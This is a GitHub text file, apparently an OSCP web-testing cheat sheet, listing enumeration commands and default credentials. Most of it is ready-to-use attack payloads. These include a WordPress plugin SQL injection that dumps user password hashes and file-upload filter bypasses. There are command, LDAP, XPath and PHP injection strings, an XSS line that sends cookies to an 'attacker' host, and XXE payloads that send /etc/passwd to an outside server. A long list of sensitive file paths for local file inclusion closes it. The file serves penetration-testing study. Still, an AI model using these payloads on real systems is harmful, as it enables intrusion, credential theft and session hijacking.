-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathwebtesting.txt
252 lines (227 loc) · 6.89 KB
/
webtesting.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
*Web Testing on OSCP*narrative
Enumeration
Good directory discovery tool:
*$ git clone https://github.com/maurosoria/dirsearch.git; cd dirsearch; python3 dirsearch.py -u http://$ip/ -e .php*
Directory discovery
*$ gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip*
Nmap HTTP Form Fuzzer
*$ nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 $ip*
Testing
Nmap Check the server methods
*
$ nmap --script http-methods --script-args http-methods.url-path='/test' $ip
*
Test OPTIONS against every folder/file.
Test every GET/POST parameter against SQLI and RCE.
View code
run discovery tools
Test params for: sqli, rfi, lfi
Find hardcoded credentials
JBoss
*JMX Console http://$ip:8080/jmxconcole/
War File*
Joomla
*configuration.php
diagnostics.php
joomla.inc.php
config.inc.php*
Mambo
*configuration.php
config.inc.php*
Wordpress
*setup-config.php
wp-config.php*
Authentication
Tomcat manager, try default credentials: tomcat/tomcat, admin/manager, admin/password, admin/s3cret, admin (emtpy password).
Try password reuse between services
Google default credentials for app
Drupal
*$ droopescan scan -u $ip*
Wordpress
Scan for known bugs:
*$ wpscan http://$ip*
Try exploit:
*/wp-content/plugins/wp-forum/feed.php?topic=-4381+union+select+group_concat%28user_login,0x3a,user_pass%29+from+wp_users%23*
Webdav
Test incorrect permissions:
*$ cadaver http://$ip*
*$ davtest http://$ip*
Bruteforcing
Good password list
*https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_1000.txt*
File uploads
Avoid extension checks using tricks like:
*.php5.jpeg
.php5%00.jpeg*
Different file formats
*https://en.wikipedia.org/wiki/List_of_file_signatures*
Different extensions
*.php .php3 .php4 .php5*
PHP
You can usually bypass file include filters with payloads like:
*php://filter/convert.base64-encode/resource=file*
If you control an include statenent such as
*include("lang/".$_COOKIE['lang']);*
You can set a cookie pointing to an arbitrary PHP file and have it executed in your page.
SSL certificates
Find out potential correct vhost to GET
is the clock skewed
Any names that could be usernames for bruteforce/guessing.
Login
Always try user root, admin, administrator with password letmein admin root
File downloads
Run strings against every file
XSS vectors
Invisible iframe:
*<iframe src="http://attacker/" height="0" width="0"></iframe>*
Steal cookies
*<script> new Image().src="http://attacker/bogus.php?output="+document.cookie; </script>*
Payload no space
*<svg/onload=alert(1)>*
filter bypass
*<svg•onload=alert(1)>*
Command injection
*`id`
| id
&& id
error || id
%0a id*
time based
*sleep 10*
LDAP injection
*)
foo)
((cn=*)
(|(cn=[INPUT1])(cn=[INPUT2]))
(&(cn=[INPUT1])(userPassword=[INPUT2]))*
Try wildcard ***** or partial match **a***, **ad***..
XPath injection
*' and '1'='1
' or '1'='0
' and '1'='0
' or '1'='1
foo']%00
foo' or 1=1]%00
'%20or%201=1]/child::node()%00*
PHP code injection
*".system('id'); $a="
".system('id');#
".system('id');//
foo);}system('id');//
'.phpinfo().'*
XML External Entity
*<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > <!ENTITY callhome SYSTEM "bad.com/?%xxe;"> ] > <foo>&xxe;&callhome;</foo>*
*<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ] > <foo>&xxe;</foo>*
Send **/etc/passwd** to your box:
*<!ENTITY % p1 SYSTEM "file:///etc/passwd"><!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.159.1:3001/BLAH?%p1;'>">%p2;*
XML Injection
**<!--/-->**
ORM Injection
**OR 1--**
Header injection %0d%0a
Leads to open redirection and session fixation
RFI/LFI
Test it:
*$ fimap -u "http://$ip/example.php?test="*
Automated scanning
*$ https://github.com/lightos/Panoptic/*
Interesting payloads:
*/etc/passwd | /etc/shadow #instant win*
*/var/www/html/config.php # or similar paths to get SQL etc creds*
*?page=php://filter/convert.base64-encode/resource=../config.php*
*../../../../../boot.ini # to find out windows version**
*php://input
php://filter/convert.base64-encode/resource=../../../../../etc/passwd
/etc/issue
/proc/version
/etc/profile
/etc/passwd
/etc/shadow
/root/.bash_history
/var/log/dmessage
/var/mail/root
/var/spool/cron/crontabs/root
/proc/self/environ
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/httpd/logs/access.log
/apache/logs/access.log
logs/access.log
/var/log/access_log
/var/log/httpd/access_log
/var/log/httpd-error.log
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/httpd-access.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/www/html/index.php
/var/www/index.php
/var/www/manual/index.html
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/auth.log
/var/log/chttp.log
/var/log/cups/error_log
/var/log/dpkg.log
/var/log/faillog
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/messages
/var/log/secure
/var/log/syslog
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/run/utmp
/var/webmin/miniserv.log
/var/www/logs/access_log
/var/www/logs/access.log*
Test credentials
admin admin
admin password
admin <blank>
admin nameofservice
admin s3cret
root root
root admin
root password
root nameofservice
root s3cret
Other tricks
If there is a share link or a way to pass a URL that you can manipulate, try duplicating the parameters
If there is a UID parameter, try to replace it with another users one or do HPP passing both in different orders.
Intercept all the interesting requests, look for missing CSRF tokens in critical actions and try repeating them with them.
To bypass XSS filters: try submitting URL encoded strings, if decoded: bingo.
Restoring javascript functions **javascript:document.write=HTMLDocument.prototype.write;document.write(‘STRUKT’);**
XSS no barces **<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//**